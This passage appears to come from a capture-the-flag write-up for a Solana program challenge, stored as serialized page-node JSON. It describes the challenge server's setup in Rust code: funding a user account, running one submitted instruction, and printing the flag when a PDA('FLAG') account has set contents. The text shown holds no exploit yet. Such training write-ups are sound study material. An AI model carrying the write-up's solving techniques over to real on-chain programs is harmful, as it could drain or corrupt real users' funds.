,"tag":75,"props":53012,"children":53013},{"style":94},[53014],{"type":29,"value":1430},{"type":23,"tag":75,"props":53016,"children":53017},{"class":77,"line":322},[53018,53022,53026,53030],{"type":23,"tag":75,"props":53019,"children":53020},{"style":88},[53021],{"type":29,"value":52073},{"type":23,"tag":75,"props":53023,"children":53024},{"style":94},[53025],{"type":29,"value":643},{"type":23,"tag":75,"props":53027,"children":53028},{"style":110},[53029],{"type":29,"value":23876},{"type":23,"tag":75,"props":53031,"children":53032},{"style":94},[53033],{"type":29,"value":15099},{"type":23,"tag":75,"props":53035,"children":53036},{"class":77,"line":340},[53037],{"type":23,"tag":75,"props":53038,"children":53039},{"style":94},[53040],{"type":29,"value":346},{"type":23,"tag":75,"props":53042,"children":53043},{"class":77,"line":349},[53044],{"type":23,"tag":75,"props":53045,"children":53046},{"style":94},[53047],{"type":29,"value":369},{"type":23,"tag":923,"props":53049,"children":53051},{"id":53050},"test-environment",[53052],{"type":29,"value":53053},"Test Environment",{"type":23,"tag":32,"props":53055,"children":53056},{},[53057],{"type":29,"value":53058},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":32,"props":53060,"children":53061},{},[53062,53064,53070],{"type":29,"value":53063},"When you connect to the server through a tcp connection, ",{"type":23,"tag":71,"props":53065,"children":53067},{"className":53066},[],[53068],{"type":29,"value":53069},"framework/src/main.rs::handle_connection",{"type":29,"value":53071}," gets executed, which does the following:",{"type":23,"tag":2797,"props":53073,"children":53074},{},[53075],{"type":23,"tag":2801,"props":53076,"children":53077},{},[53078],{"type":29,"value":53079},"Creates a new Solana local node",{"type":23,"tag":64,"props":53081,"children":53083},{"className":987,"code":53082,"language":986,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[53084],{"type":23,"tag":71,"props":53085,"children":53086},{"__ignoreMap":7},[53087,53167,53243],{"type":23,"tag":75,"props":53088,"children":53089},{"class":77,"line":78},[53090,53094,53098,53103,53107,53112,53116,53121,53125,53130,53134,53139,53143,53147,53151,53155,53159,53163],{"type":23,"tag":75,"props":53091,"children":53092},{"style":82},[53093],{"type":29,"value":23033},{"type":23,"tag":75,"props":53095,"children":53096},{"style":82},[53097],{"type":29,"value":14296},{"type":23,"tag":75,"props":53099,"children":53100},{"style":110},[53101],{"type":29,"value":53102}," builder",{"type":23,"tag":75,"props":53104,"children":53105},{"style":209},[53106],{"type":29,"value":1193},{"type":23,"tag":75,"props":53108,"children":53109},{"style":104},[53110],{"type":29,"value":53111}," ChallengeBuilder",{"type":23,"tag":75,"props":53113,"children":53114},{"style":209},[53115],{"type":29,"value":1407},{"type":23,"tag":75,"props":53117,"children":53118},{"style":88},[53119],{"type":29,"value":53120},"try_from",{"type":23,"tag":75,"props":53122,"children":53123},{"style":94},[53124],{"type":29,"value":643},{"type":23,"tag":75,"props":53126,"children":53127},{"style":110},[53128],{"type":29,"value":53129},"socket",{"type":23,"tag":75,"props":53131,"children":53132},{"style":209},[53133],{"type":29,"value":557},{"type":23,"tag":75,"props":53135,"children":53136},{"style":88},[53137],{"type":29,"value":53138},"try_clone",{"type":23,"tag":75,"props":53140,"children":53141},{"style":94},[53142],{"type":29,"value":1417},{"type":23,"tag":75,"props":53144,"children":53145},{"style":209},[53146],{"type":29,"value":557},{"type":23,"tag":75,"props":53148,"children":53149},{"style":88},[53150],{"type":29,"value":14939},{"type":23,"tag":75,"props":53152,"children":53153},{"style":94},[53154],{"type":29,"value":1220},{"type":23,"tag":75,"props":53156,"children":53157},{"style":209},[53158],{"type":29,"value":557},{"type":23,"tag":75,"props":53160,"children":53161},{"style":88},[53162],{"type":29,"value":14939},{"type":23,"tag":75,"props":53164,"children":53165},{"style":94},[53166],{"type":29,"value":14944},{"type":23,"tag":75,"props":53168,"children":53169},{"class":77,"line":100},[53170,53175,53179,53184,53188,53193,53197,53202,53206,53211,53216,53220,53225,53229,53234,53238],{"type":23,"tag":75,"props":53171,"children":53172},{"style":88},[53173],{"type":29,"value":53174},"assert!",{"type":23,"tag":75,"props":53176,"children":53177},{"style":94},[53178],{"type":29,"value":643},{"type":23,"tag":75,"props":53180,"children":53181},{"style":110},[53182],{"type":29,"value":53183},"builder",{"type":23,"tag":75,"props":53185,"children":53186},{"style":209},[53187],{"type":29,"value":557},{"type":23,"tag":75,"props":53189,"children":53190},{"style":88},[53191],{"type":29,"value":53192},"add_program",{"type":23,"tag":75,"props":53194,"children":53195},{"style":94},[53196],{"type":29,"value":643},{"type":23,"tag":75,"props":53198,"children":53199},{"style":1266},[53200],{"type":29,"value":53201},"\"/path/to/chall.so\"",{"type":23,"tag":75,"props":53203,"children":53204},{"style":94},[53205],{"type":29,"value":611},{"type":23,"tag":75,"props":53207,"children":53208},{"style":104},[53209],{"type":29,"value":53210},"Some",{"type":23,"tag":75,"props":53212,"children":53213},{"style":94},[53214],{"type":29,"value":53215},"(chall",{"type":23,"tag":75,"props":53217,"children":53218},{"style":209},[53219],{"type":29,"value":1407},{"type":23,"tag":75,"props":53221,"children":53222},{"style":94},[53223],{"type":29,"value":53224},"ID)) ",{"type":23,"tag":75,"props":53226,"children":53227},{"style":209},[53228],{"type":29,"value":2469},{"type":23,"tag":75,"props":53230,"children":53231},{"style":94},[53232],{"type":29,"value":53233}," chall",{"type":23,"tag":75,"props":53235,"children":53236},{"style":209},[53237],{"type":29,"value":1407},{"type":23,"tag":75,"props":53239,"children":53240},{"style":94},[53241],{"type":29,"value":53242},"ID);\n",{"type":23,"tag":75,"props":53244,"children":53245},{"class":77,"line":121},[53246,53250,53254,53258,53262,53266,53270,53275,53279,53283,53287],{"type":23,"tag":75,"props":53247,"children":53248},{"style":82},[53249],{"type":29,"value":23033},{"type":23,"tag":75,"props":53251,"children":53252},{"style":82},[53253],{"type":29,"value":14296},{"type":23,"tag":75,"props":53255,"children":53256},{"style":110},[53257],{"type":29,"value":53233},{"type":23,"tag":75,"props":53259,"children":53260},{"style":209},[53261],{"type":29,"value":1193},{"type":23,"tag":75,"props":53263,"children":53264},{"style":110},[53265],{"type":29,"value":53102},{"type":23,"tag":75,"props":53267,"children":53268},{"style":209},[53269],{"type":29,"value":557},{"type":23,"tag":75,"props":53271,"children":53272},{"style":88},[53273],{"type":29,"value":53274},"build",{"type":23,"tag":75,"props":53276,"children":53277},{"style":94},[53278],{"type":29,"value":1417},{"type":23,"tag":75,"props":53280,"children":53281},{"style":209},[53282],{"type":29,"value":557},{"type":23,"tag":75,"props":53284,"children":53285},{"style":175},[53286],{"type":29,"value":44109},{"type":23,"tag":75,"props":53288,"children":53289},{"style":94},[53290],{"type":29,"value":245},{"type":23,"tag":2797,"props":53292,"children":53293},{"start":100},[53294],{"type":23,"tag":2801,"props":53295,"children":53296},{},[53297],{"type":29,"value":53298},"Funds the user account with 100 SOL",{"type":23,"tag":64,"props":53300,"children":53302},{"className":987,"code":53301,"language":986,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[53303],{"type":23,"tag":71,"props":53304,"children":53305},{"__ignoreMap":7},[53306,53339,53371,53378,53420,53452,53459,53467,53531,53550,53557],{"type":23,"tag":75,"props":53307,"children":53308},{"class":77,"line":78},[53309,53313,53318,53322,53327,53331,53335],{"type":23,"tag":75,"props":53310,"children":53311},{"style":82},[53312],{"type":29,"value":23033},{"type":23,"tag":75,"props":53314,"children":53315},{"style":110},[53316],{"type":29,"value":53317}," user_keypair",{"type":23,"tag":75,"props":53319,"children":53320},{"style":209},[53321],{"type":29,"value":1193},{"type":23,"tag":75,"props":53323,"children":53324},{"style":104},[53325],{"type":29,"value":53326}," Keypair",{"type":23,"tag":75,"props":53328,"children":53329},{"style":209},[53330],{"type":29,"value":1407},{"type":23,"tag":75,"props":53332,"children":53333},{"style":88},[53334],{"type":29,"value":26353},{"type":23,"tag":75,"props":53336,"children":53337},{"style":94},[53338],{"type":29,"value":14944},{"type":23,"tag":75,"props":53340,"children":53341},{"class":77,"line":100},[53342,53346,53351,53355,53359,53363,53367],{"type":23,"tag":75,"props":53343,"children":53344},{"style":82},[53345],{"type":29,"value":23033},{"type":23,"tag":75,"props":53347,"children":53348},{"style":110},[53349],{"type":29,"value":53350}," user",{"type":23,"tag":75,"props":53352,"children":53353},{"style":209},[53354],{"type":29,"value":1193},{"type":23,"tag":75,"props":53356,"children":53357},{"style":110},[53358],{"type":29,"value":53317},{"type":23,"tag":75,"props":53360,"children":53361},{"style":209},[53362],{"type":29,"value":557},{"type":23,"tag":75,"props":53364,"children":53365},{"style":88},[53366],{"type":29,"value":14818},{"type":23,"tag":75,"props":53368,"children":53369},{"style":94},[53370],{"type":29,"value":14944},{"type":23,"tag":75,"props":53372,"children":53373},{"class":77,"line":121},[53374],{"type":23,"tag":75,"props":53375,"children":53376},{"emptyLinePlaceholder":15},[53377],{"type":29,"value":276},{"type":23,"tag":75,"props":53379,"children":53380},{"class":77,"line":138},[53381,53385,53390,53394,53398,53403,53407,53411,53415],{"type":23,"tag":75,"props":53382,"children":53383},{"style":82},[53384],{"type":29,"value":23033},{"type":23,"tag":75,"props":53386,"children":53387},{"style":110},[53388],{"type":29,"value":53389}," payer_keypair",{"type":23,"tag":75,"props":53391,"children":53392},{"style":209},[53393],{"type":29,"value":1193},{"type":23,"tag":75,"props":53395,"children":53396},{"style":209},[53397],{"type":29,"value":844},{"type":23,"tag":75,"props":53399,"children":53400},{"style":110},[53401],{"type":29,"value":53402},"chall",{"type":23,"tag":75,"props":53404,"children":53405},{"style":209},[53406],{"type":29,"value":557},{"type":23,"tag":75,"props":53408,"children":53409},{"style":94},[53410],{"type":29,"value":3331},{"type":23,"tag":75,"props":53412,"children":53413},{"style":209},[53414],{"type":29,"value":557},{"type":23,"tag":75,"props":53416,"children":53417},{"style":94},[53418],{"type":29,"value":53419},"payer;\n",{"type":23,"tag":75,"props":53421,"children":53422},{"class":77,"line":161},[53423,53427,53432,53436,53440,53444,53448],{"type":23,"tag":75,"props":53424,"children":53425},{"style":82},[53426],{"type":29,"value":23033},{"type":23,"tag":75,"props":53428,"children":53429},{"style":110},[53430],{"type":29,"value":53431}," payer",{"type":23,"tag":75,"props":53433,"children":53434},{"style":209},[53435],{"type":29,"value":1193},{"type":23,"tag":75,"props":53437,"children":53438},{"style":110},[53439],{"type":29,"value":53389},{"type":23,"tag":75,"props":53441,"children":53442},{"style":209},[53443],{"type":29,"value":557},{"type":23,"tag":75,"props":53445,"children":53446},{"style":88},[53447],{"type":29,"value":14818},{"type":23,"tag":75,"props":53449,"children":53450},{"style":94},[53451],{"type":29,"value":14944},{"type":23,"tag":75,"props":53453,"children":53454},{"class":77,"line":196},[53455],{"type":23,"tag":75,"props":53456,"children":53457},{"emptyLinePlaceholder":15},[53458],{"type":29,"value":276},{"type":23,"tag":75,"props":53460,"children":53461},{"class":77,"line":220},[53462],{"type":23,"tag":75,"props":53463,"children":53464},{"style":110},[53465],{"type":29,"value":53466},"chall\n",{"type":23,"tag":75,"props":53468,"children":53469},{"class":77,"line":248},[53470,53475,53480,53485,53489,53493,53497,53501,53506,53510,53514,53518,53522,53527],{"type":23,"tag":75,"props":53471,"children":53472},{"style":209},[53473],{"type":29,"value":53474},"    .",{"type":23,"tag":75,"props":53476,"children":53477},{"style":88},[53478],{"type":29,"value":53479},"run_ix",{"type":23,"tag":75,"props":53481,"children":53482},{"style":94},[53483],{"type":29,"value":53484},"(system_instruction",{"type":23,"tag":75,"props":53486,"children":53487},{"style":209},[53488],{"type":29,"value":1407},{"type":23,"tag":75,"props":53490,"children":53491},{"style":88},[53492],{"type":29,"value":43318},{"type":23,"tag":75,"props":53494,"children":53495},{"style":94},[53496],{"type":29,"value":643},{"type":23,"tag":75,"props":53498,"children":53499},{"style":209},[53500],{"type":29,"value":1277},{"type":23,"tag":75,"props":53502,"children":53503},{"style":110},[53504],{"type":29,"value":53505},"payer",{"type":23,"tag":75,"props":53507,"children":53508},{"style":94},[53509],{"type":29,"value":611},{"type":23,"tag":75,"props":53511,"children":53512},{"style":209},[53513],{"type":29,"value":1277},{"type":23,"tag":75,"props":53515,"children":53516},{"style":110},[53517],{"type":29,"value":31454},{"type":23,"tag":75,"props":53519,"children":53520},{"style":94},[53521],{"type":29,"value":611},{"type":23,"tag":75,"props":53523,"children":53524},{"style":237},[53525],{"type":29,"value":53526},"100_000_000_000",{"type":23,"tag":75,"props":53528,"children":53529},{"style":94},[53530],{"type":29,"value":702},{"type":23,"tag":75,"props":53532,"children":53533},{"class":77,"line":270},[53534,53538,53542,53546],{"type":23,"tag":75,"props":53535,"children":53536},{"style":209},[53537],{"type":29,"value":53474},{"type":23,"tag":75,"props":53539,"children":53540},{"style":175},[53541],{"type":29,"value":44109},{"type":23,"tag":75,"props":53543,"children":53544},{"style":209},[53545],{"type":29,"value":1225},{"type":23,"tag":75,"props":53547,"children":53548},{"style":94},[53549],{"type":29,"value":245},{"type":23,"tag":75,"props":53551,"children":53552},{"class":77,"line":279},[53553],{"type":23,"tag":75,"props":53554,"children":53555},{"emptyLinePlaceholder":15},[53556],{"type":29,"value":276},{"type":23,"tag":75,"props":53558,"children":53559},{"class":77,"line":303},[53560,53565,53569,53573,53577,53582,53586,53590,53594,53598],{"type":23,"tag":75,"props":53561,"children":53562},{"style":88},[53563],{"type":29,"value":53564},"writeln!",{"type":23,"tag":75,"props":53566,"children":53567},{"style":94},[53568],{"type":29,"value":643},{"type":23,"tag":75,"props":53570,"children":53571},{"style":110},[53572],{"type":29,"value":53129},{"type":23,"tag":75,"props":53574,"children":53575},{"style":94},[53576],{"type":29,"value":611},{"type":23,"tag":75,"props":53578,"children":53579},{"style":1266},[53580],{"type":29,"value":53581},"\"user: {}\"",{"type":23,"tag":75,"props":53583,"children":53584},{"style":94},[53585],{"type":29,"value":611},{"type":23,"tag":75,"props":53587,"children":53588},{"style":110},[53589],{"type":29,"value":31454},{"type":23,"tag":75,"props":53591,"children":53592},{"style":94},[53593],{"type":29,"value":1347},{"type":23,"tag":75,"props":53595,"children":53596},{"style":209},[53597],{"type":29,"value":1225},{"type":23,"tag":75,"props":53599,"children":53600},{"style":94},[53601],{"type":29,"value":245},{"type":23,"tag":2797,"props":53603,"children":53604},{"start":121},[53605],{"type":23,"tag":2801,"props":53606,"children":53607},{},[53608],{"type":29,"value":53609},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":64,"props":53611,"children":53613},{"className":987,"code":53612,"language":986,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[53614],{"type":23,"tag":71,"props":53615,"children":53616},{"__ignoreMap":7},[53617,53667],{"type":23,"tag":75,"props":53618,"children":53619},{"class":77,"line":78},[53620,53624,53629,53633,53637,53641,53646,53650,53654,53659,53663],{"type":23,"tag":75,"props":53621,"children":53622},{"style":82},[53623],{"type":29,"value":23033},{"type":23,"tag":75,"props":53625,"children":53626},{"style":110},[53627],{"type":29,"value":53628}," solve_ix",{"type":23,"tag":75,"props":53630,"children":53631},{"style":209},[53632],{"type":29,"value":1193},{"type":23,"tag":75,"props":53634,"children":53635},{"style":110},[53636],{"type":29,"value":53233},{"type":23,"tag":75,"props":53638,"children":53639},{"style":209},[53640],{"type":29,"value":557},{"type":23,"tag":75,"props":53642,"children":53643},{"style":88},[53644],{"type":29,"value":53645},"read_instruction",{"type":23,"tag":75,"props":53647,"children":53648},{"style":94},[53649],{"type":29,"value":53215},{"type":23,"tag":75,"props":53651,"children":53652},{"style":209},[53653],{"type":29,"value":1407},{"type":23,"tag":75,"props":53655,"children":53656},{"style":94},[53657],{"type":29,"value":53658},"ID)",{"type":23,"tag":75,"props":53660,"children":53661},{"style":209},[53662],{"type":29,"value":1225},{"type":23,"tag":75,"props":53664,"children":53665},{"style":94},[53666],{"type":29,"value":245},{"type":23,"tag":75,"props":53668,"children":53669},{"class":77,"line":100},[53670,53674,53678,53683,53687,53691,53695,53700,53704,53708,53712,53716,53721,53725,53729,53733,53737,53741,53745,53749],{"type":23,"tag":75,"props":53671,"children":53672},{"style":110},[53673],{"type":29,"value":53402},{"type":23,"tag":75,"props":53675,"children":53676},{"style":209},[53677],{"type":29,"value":557},{"type":23,"tag":75,"props":53679,"children":53680},{"style":88},[53681],{"type":29,"value":53682},"run_ixs_full",{"type":23,"tag":75,"props":53684,"children":53685},{"style":94},[53686],{"type":29,"value":643},{"type":23,"tag":75,"props":53688,"children":53689},{"style":209},[53690],{"type":29,"value":1277},{"type":23,"tag":75,"props":53692,"children":53693},{"style":94},[53694],{"type":29,"value":814},{"type":23,"tag":75,"props":53696,"children":53697},{"style":110},[53698],{"type":29,"value":53699},"solve_ix",{"type":23,"tag":75,"props":53701,"children":53702},{"style":94},[53703],{"type":29,"value":34275},{"type":23,"tag":75,"props":53705,"children":53706},{"style":209},[53707],{"type":29,"value":1277},{"type":23,"tag":75,"props":53709,"children":53710},{"style":94},[53711],{"type":29,"value":814},{"type":23,"tag":75,"props":53713,"children":53714},{"style":209},[53715],{"type":29,"value":1277},{"type":23,"tag":75,"props":53717,"children":53718},{"style":110},[53719],{"type":29,"value":53720},"user_keypair",{"type":23,"tag":75,"props":53722,"children":53723},{"style":94},[53724],{"type":29,"value":34275},{"type":23,"tag":75,"props":53726,"children":53727},{"style":209},[53728],{"type":29,"value":1277},{"type":23,"tag":75,"props":53730,"children":53731},{"style":110},[53732],{"type":29,"value":31454},{"type":23,"tag":75,"props":53734,"children":53735},{"style":94},[53736],{"type":29,"value":1347},{"type":23,"tag":75,"props":53738,"children":53739},{"style":209},[53740],{"type":29,"value":557},{"type":23,"tag":75,"props":53742,"children":53743},{"style":175},[53744],{"type":29,"value":44109},{"type":23,"tag":75,"props":53746,"children":53747},{"style":209},[53748],{"type":29,"value":1225},{"type":23,"tag":75,"props":53750,"children":53751},{"style":94},[53752],{"type":29,"value":245},{"type":23,"tag":2797,"props":53754,"children":53755},{"start":138},[53756],{"type":23,"tag":2801,"props":53757,"children":53758},{},[53759],{"type":29,"value":53760},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":64,"props":53762,"children":53764},{"className":987,"code":53763,"language":986,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[53765],{"type":23,"tag":71,"props":53766,"children":53767},{"__ignoreMap":7},[53768,53852,53943,53984,54068,54075,54112,54168,54213,54228,54264,54271,54278],{"type":23,"tag":75,"props":53769,"children":53770},{"class":77,"line":78},[53771,53775,53780,53784,53788,53792,53797,53801,53805,53809,53814,53818,53823,53828,53832,53836,53840,53844,53848],{"type":23,"tag":75,"props":53772,"children":53773},{"style":82},[53774],{"type":29,"value":23033},{"type":23,"tag":75,"props":53776,"children":53777},{"style":110},[53778],{"type":29,"value":53779}," flag",{"type":23,"tag":75,"props":53781,"children":53782},{"style":209},[53783],{"type":29,"value":1193},{"type":23,"tag":75,"props":53785,"children":53786},{"style":104},[53787],{"type":29,"value":32075},{"type":23,"tag":75,"props":53789,"children":53790},{"style":209},[53791],{"type":29,"value":1407},{"type":23,"tag":75,"props":53793,"children":53794},{"style":88},[53795],{"type":29,"value":53796},"create_program_address",{"type":23,"tag":75,"props":53798,"children":53799},{"style":94},[53800],{"type":29,"value":643},{"type":23,"tag":75,"props":53802,"children":53803},{"style":209},[53804],{"type":29,"value":1277},{"type":23,"tag":75,"props":53806,"children":53807},{"style":94},[53808],{"type":29,"value":814},{"type":23,"tag":75,"props":53810,"children":53811},{"style":1266},[53812],{"type":29,"value":53813},"\"FLAG\"",{"type":23,"tag":75,"props":53815,"children":53816},{"style":209},[53817],{"type":29,"value":557},{"type":23,"tag":75,"props":53819,"children":53820},{"style":88},[53821],{"type":29,"value":53822},"as_ref",{"type":23,"tag":75,"props":53824,"children":53825},{"style":94},[53826],{"type":29,"value":53827},"()], ",{"type":23,"tag":75,"props":53829,"children":53830},{"style":209},[53831],{"type":29,"value":1277},{"type":23,"tag":75,"props":53833,"children":53834},{"style":94},[53835],{"type":29,"value":53402},{"type":23,"tag":75,"props":53837,"children":53838},{"style":209},[53839],{"type":29,"value":1407},{"type":23,"tag":75,"props":53841,"children":53842},{"style":94},[53843],{"type":29,"value":53658},{"type":23,"tag":75,"props":53845,"children":53846},{"style":209},[53847],{"type":29,"value":1225},{"type":23,"tag":75,"props":53849,"children":53850},{"style":94},[53851],{"type":29,"value":245},{"type":23,"tag":75,"props":53853,"children":53854},{"class":77,"line":100},[53855,53859,53863,53867,53871,53876,53880,53884,53888,53892,53896,53900,53905,53909,53914,53918,53923,53927,53931,53935,53939],{"type":23,"tag":75,"props":53856,"children":53857},{"style":175},[53858],{"type":29,"value":26807},{"type":23,"tag":75,"props":53860,"children":53861},{"style":82},[53862],{"type":29,"value":38504},{"type":23,"tag":75,"props":53864,"children":53865},{"style":104},[53866],{"type":29,"value":38509},{"type":23,"tag":75,"props":53868,"children":53869},{"style":94},[53870],{"type":29,"value":643},{"type":23,"tag":75,"props":53872,"children":53873},{"style":110},[53874],{"type":29,"value":53875},"acct",{"type":23,"tag":75,"props":53877,"children":53878},{"style":94},[53879],{"type":29,"value":167},{"type":23,"tag":75,"props":53881,"children":53882},{"style":209},[53883],{"type":29,"value":212},{"type":23,"tag":75,"props":53885,"children":53886},{"style":110},[53887],{"type":29,"value":53233},{"type":23,"tag":75,"props":53889,"children":53890},{"style":209},[53891],{"type":29,"value":557},{"type":23,"tag":75,"props":53893,"children":53894},{"style":94},[53895],{"type":29,"value":3331},{"type":23,"tag":75,"props":53897,"children":53898},{"style":209},[53899],{"type":29,"value":557},{"type":23,"tag":75,"props":53901,"children":53902},{"style":94},[53903],{"type":29,"value":53904},"banks_client",{"type":23,"tag":75,"props":53906,"children":53907},{"style":209},[53908],{"type":29,"value":557},{"type":23,"tag":75,"props":53910,"children":53911},{"style":88},[53912],{"type":29,"value":53913},"get_account",{"type":23,"tag":75,"props":53915,"children":53916},{"style":94},[53917],{"type":29,"value":643},{"type":23,"tag":75,"props":53919,"children":53920},{"style":110},[53921],{"type":29,"value":53922},"flag",{"type":23,"tag":75,"props":53924,"children":53925},{"style":94},[53926],{"type":29,"value":1347},{"type":23,"tag":75,"props":53928,"children":53929},{"style":209},[53930],{"type":29,"value":557},{"type":23,"tag":75,"props":53932,"children":53933},{"style":175},[53934],{"type":29,"value":44109},{"type":23,"tag":75,"props":53936,"children":53937},{"style":209},[53938],{"type":29,"value":1225},{"type":23,"tag":75,"props":53940,"children":53941},{"style":94},[53942],{"type":29,"value":401},{"type":23,"tag":75,"props":53944,"children":53945},{"class":77,"line":121},[53946,53950,53955,53959,53963,53967,53971,53975,53979],{"type":23,"tag":75,"props":53947,"children":53948},{"style":175},[53949],{"type":29,"value":1363},{"type":23,"tag":75,"props":53951,"children":53952},{"style":110},[53953],{"type":29,"value":53954}," acct",{"type":23,"tag":75,"props":53956,"children":53957},{"style":209},[53958],{"type":29,"value":557},{"type":23,"tag":75,"props":53960,"children":53961},{"style":94},[53962],{"type":29,"value":14976},{"type":23,"tag":75,"props":53964,"children":53965},{"style":209},[53966],{"type":29,"value":557},{"type":23,"tag":75,"props":53968,"children":53969},{"style":88},[53970],{"type":29,"value":679},{"type":23,"tag":75,"props":53972,"children":53973},{"style":94},[53974],{"type":29,"value":2464},{"type":23,"tag":75,"props":53976,"children":53977},{"style":209},[53978],{"type":29,"value":2469},{"type":23,"tag":75,"props":53980,"children":53981},{"style":237},[53982],{"type":29,"value":53983}," 0x1337\n",{"type":23,"tag":75,"props":53985,"children":53986},{"class":77,"line":138},[53987,53992,53996,54000,54005,54009,54013,54017,54022,54026,54030,54034,54038,54042,54046,54050,54054,54059,54063],{"type":23,"tag":75,"props":53988,"children":53989},{"style":209},[53990],{"type":29,"value":53991},"        &&",{"type":23,"tag":75,"props":53993,"children":53994},{"style":104},[53995],{"type":29,"value":17129},{"type":23,"tag":75,"props":53997,"children":53998},{"style":209},[53999],{"type":29,"value":1407},{"type":23,"tag":75,"props":54001,"children":54002},{"style":88},[54003],{"type":29,"value":54004},"from_le_bytes",{"type":23,"tag":75,"props":54006,"children":54007},{"style":94},[54008],{"type":29,"value":643},{"type":23,"tag":75,"props":54010,"children":54011},{"style":110},[54012],{"type":29,"value":53875},{"type":23,"tag":75,"props":54014,"children":54015},{"style":209},[54016],{"type":29,"value":557},{"type":23,"tag":75,"props":54018,"children":54019},{"style":94},[54020],{"type":29,"value":54021},"data[",{"type":23,"tag":75,"props":54023,"children":54024},{"style":209},[54025],{"type":29,"value":14339},{"type":23,"tag":75,"props":54027,"children":54028},{"style":237},[54029],{"type":29,"value":15349},{"type":23,"tag":75,"props":54031,"children":54032},{"style":94},[54033],{"type":29,"value":1610},{"type":23,"tag":75,"props":54035,"children":54036},{"style":209},[54037],{"type":29,"value":557},{"type":23,"tag":75,"props":54039,"children":54040},{"style":88},[54041],{"type":29,"value":37363},{"type":23,"tag":75,"props":54043,"children":54044},{"style":94},[54045],{"type":29,"value":1417},{"type":23,"tag":75,"props":54047,"children":54048},{"style":209},[54049],{"type":29,"value":557},{"type":23,"tag":75,"props":54051,"children":54052},{"style":88},[54053],{"type":29,"value":14939},{"type":23,"tag":75,"props":54055,"children":54056},{"style":94},[54057],{"type":29,"value":54058},"()) ",{"type":23,"tag":75,"props":54060,"children":54061},{"style":209},[54062],{"type":29,"value":2469},{"type":23,"tag":75,"props":54064,"children":54065},{"style":237},[54066],{"type":29,"value":54067}," 0x4337\n",{"type":23,"tag":75,"props":54069,"children":54070},{"class":77,"line":161},[54071],{"type":23,"tag":75,"props":54072,"children":54073},{"style":94},[54074],{"type":29,"value":40383},{"type":23,"tag":75,"props":54076,"children":54077},{"class":77,"line":196},[54078,54083,54087,54091,54095,54100,54104,54108],{"type":23,"tag":75,"props":54079,"children":54080},{"style":88},[54081],{"type":29,"value":54082},"        writeln!",{"type":23,"tag":75,"props":54084,"children":54085},{"style":94},[54086],{"type":29,"value":643},{"type":23,"tag":75,"props":54088,"children":54089},{"style":110},[54090],{"type":29,"value":53129},{"type":23,"tag":75,"props":54092,"children":54093},{"style":94},[54094],{"type":29,"value":611},{"type":23,"tag":75,"props":54096,"children":54097},{"style":1266},[54098],{"type":29,"value":54099},"\"congrats!\"",{"type":23,"tag":75,"props":54101,"children":54102},{"style":94},[54103],{"type":29,"value":1347},{"type":23,"tag":75,"props":54105,"children":54106},{"style":209},[54107],{"type":29,"value":1225},{"type":23,"tag":75,"props":54109,"children":54110},{"style":94},[54111],{"type":29,"value":245},{"type":23,"tag":75,"props":54113,"children":54114},{"class":77,"line":220},[54115,54119,54123,54128,54132,54136,54140,54144,54148,54152,54156,54160,54164],{"type":23,"tag":75,"props":54116,"children":54117},{"style":175},[54118],{"type":29,"value":2445},{"type":23,"tag":75,"props":54120,"children":54121},{"style":82},[54122],{"type":29,"value":38504},{"type":23,"tag":75,"props":54124,"children":54125},{"style":104},[54126],{"type":29,"value":54127}," Ok",{"type":23,"tag":75,"props":54129,"children":54130},{"style":94},[54131],{"type":29,"value":643},{"type":23,"tag":75,"props":54133,"children":54134},{"style":110},[54135],{"type":29,"value":53922},{"type":23,"tag":75,"props":54137,"children":54138},{"style":94},[54139],{"type":29,"value":167},{"type":23,"tag":75,"props":54141,"children":54142},{"style":209},[54143],{"type":29,"value":212},{"type":23,"tag":75,"props":54145,"children":54146},{"style":94},[54147],{"type":29,"value":1250},{"type":23,"tag":75,"props":54149,"children":54150},{"style":209},[54151],{"type":29,"value":1407},{"type":23,"tag":75,"props":54153,"children":54154},{"style":88},[54155],{"type":29,"value":46241},{"type":23,"tag":75,"props":54157,"children":54158},{"style":94},[54159],{"type":29,"value":643},{"type":23,"tag":75,"props":54161,"children":54162},{"style":1266},[54163],{"type":29,"value":53813},{"type":23,"tag":75,"props":54165,"children":54166},{"style":94},[54167],{"type":29,"value":193},{"type":23,"tag":75,"props":54169,"children":54170},{"class":77,"line":248},[54171,54176,54180,54184,54188,54193,54197,54201,54205,54209],{"type":23,"tag":75,"props":54172,"children":54173},{"style":88},[54174],{"type":29,"value":54175},"            writeln!",{"type":23,"tag":75,"props":54177,"children":54178},{"style":94},[54179],{"type":29,"value":643},{"type":23,"tag":75,"props":54181,"children":54182},{"style":110},[54183],{"type":29,"value":53129},{"type":23,"tag":75,"props":54185,"children":54186},{"style":94},[54187],{"type":29,"value":611},{"type":23,"tag":75,"props":54189,"children":54190},{"style":1266},[54191],{"type":29,"value":54192},"\"flag: 